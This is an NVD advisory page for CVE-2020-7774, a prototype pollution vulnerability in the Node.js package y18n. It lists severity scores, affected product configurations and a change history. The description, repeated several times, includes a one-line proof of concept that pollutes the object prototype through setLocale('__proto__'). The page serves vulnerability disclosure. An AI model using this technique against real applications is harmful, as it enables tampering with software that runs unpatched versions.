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This CVE record has been updated after NVD enrichment efforts were completed. Enrichment data supplied by the NVD may require amendment due to these changes.
Description
The package y18n before 3.2.2, 4.0.1 and 5.0.5, is vulnerable to Prototype Pollution.
Metrics
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vector strings. CVSS information contributed by other sources is also
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This affects the package y18n before 3.2.2, 4.0.1 and 5.0.5. PoC by po6ix: const y18n = require('y18n')(); y18n.setLocale('__proto__'); y18n.updateLocale({polluted: true}); console.log(polluted); // true
The package y18n before 3.2.2, 4.0.1 and 5.0.5, is vulnerable to Prototype Pollution.
Modified Analysis by NIST4/19/2022 11:41:22 AM
Action
Type
Old Value
New Value
Added
CVSS V3.1
NIST AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Changed
CPE Configuration
OR
*cpe:2.3:a:y18n_project:y18n:*:*:*:*:*:node.js:*:* versions up to (excluding) 4.0.1
*cpe:2.3:a:y18n_project:y18n:*:*:*:*:*:node.js:*:* versions from (including) 5.0.0 up to (excluding) 5.0.5
OR
*cpe:2.3:a:y18n_project:y18n:*:*:*:*:*:node.js:*:* versions up to (excluding) 3.2.2
*cpe:2.3:a:y18n_project:y18n:4.0.0:*:*:*:*:node.js:*:*
*cpe:2.3:a:y18n_project:y18n:*:*:*:*:*:node.js:*:* versions from (including) 5.0.0 up to (excluding) 5.0.5
Added
CPE Configuration
OR
*cpe:2.3:a:oracle:graalvm:19.3.5:*:*:*:enterprise:*:*:*
*cpe:2.3:a:oracle:graalvm:20.3.1.2:*:*:*:enterprise:*:*:*
*cpe:2.3:a:oracle:graalvm:21.0.0.2:*:*:*:enterprise:*:*:*
Added
CPE Configuration
OR
*cpe:2.3:a:siemens:sinec_infrastructure_network_services:*:*:*:*:*:*:*:* versions up to (excluding) 1.0.1.1
Changed
Reference Type
https://cert-portal.siemens.com/productcert/pdf/ssa-389290.pdf No Types Assigned
https://cert-portal.siemens.com/productcert/pdf/ssa-389290.pdf Patch, Third Party Advisory
Changed
Reference Type
https://www.oracle.com/security-alerts/cpuApr2021.html No Types Assigned
https://www.oracle.com/security-alerts/cpuApr2021.html Patch, Third Party Advisory
This affects the package y18n before 4.0.1 and 5.0.5. PoC by po6ix: const y18n = require('y18n')(); y18n.setLocale('__proto__'); y18n.updateLocale({polluted: true}); console.log(polluted); // true
This affects the package y18n before 3.2.2, 4.0.1 and 5.0.5. PoC by po6ix: const y18n = require('y18n')(); y18n.setLocale('__proto__'); y18n.updateLocale({polluted: true}); console.log(polluted); // true
CVE Modified by Snyk12/24/2020 11:15:15 AM
Action
Type
Old Value
New Value
Changed
Description
This affects the package y18n before 5.0.5. PoC by po6ix: const y18n = require('y18n')(); y18n.setLocale('__proto__'); y18n.updateLocale({polluted: true}); console.log(polluted); // true
This affects the package y18n before 4.0.1 and 5.0.5. PoC by po6ix: const y18n = require('y18n')(); y18n.setLocale('__proto__'); y18n.updateLocale({polluted: true}); console.log(polluted); // true
Reanalysis by NIST12/16/2020 10:29:26 AM
Action
Type
Old Value
New Value
Changed
CPE Configuration
OR
*cpe:2.3:a:y18n_project:y18n:*:*:*:*:*:node.js:*:* versions up to (excluding) 5.0.5
OR
*cpe:2.3:a:y18n_project:y18n:*:*:*:*:*:node.js:*:* versions up to (excluding) 4.0.1
*cpe:2.3:a:y18n_project:y18n:*:*:*:*:*:node.js:*:* versions from (including) 5.0.0 up to (excluding) 5.0.5
Initial Analysis by NIST12/03/2020 11:07:08 AM
Action
Type
Old Value
New Value
Added
CVSS V2
NIST (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Added
CWE
NIST CWE-20
Added
CPE Configuration
OR
*cpe:2.3:a:y18n_project:y18n:*:*:*:*:*:node.js:*:* versions up to (excluding) 5.0.5
Changed
Reference Type
https://github.com/yargs/y18n/issues/96 No Types Assigned
https://github.com/yargs/y18n/issues/96 Exploit, Third Party Advisory
Changed
Reference Type
https://github.com/yargs/y18n/pull/108 No Types Assigned
https://github.com/yargs/y18n/pull/108 Patch, Third Party Advisory
Changed
Reference Type
https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1038306 No Types Assigned
https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1038306 Exploit, Third Party Advisory
Changed
Reference Type
https://snyk.io/vuln/SNYK-JS-Y18N-1021887 No Types Assigned
https://snyk.io/vuln/SNYK-JS-Y18N-1021887 Exploit, Third Party Advisory
Quick Info
CVE Dictionary Entry: CVE-2020-7774 NVD
Published Date: 11/17/2020 NVD
Last Modified: 11/21/2024
Source: Snyk
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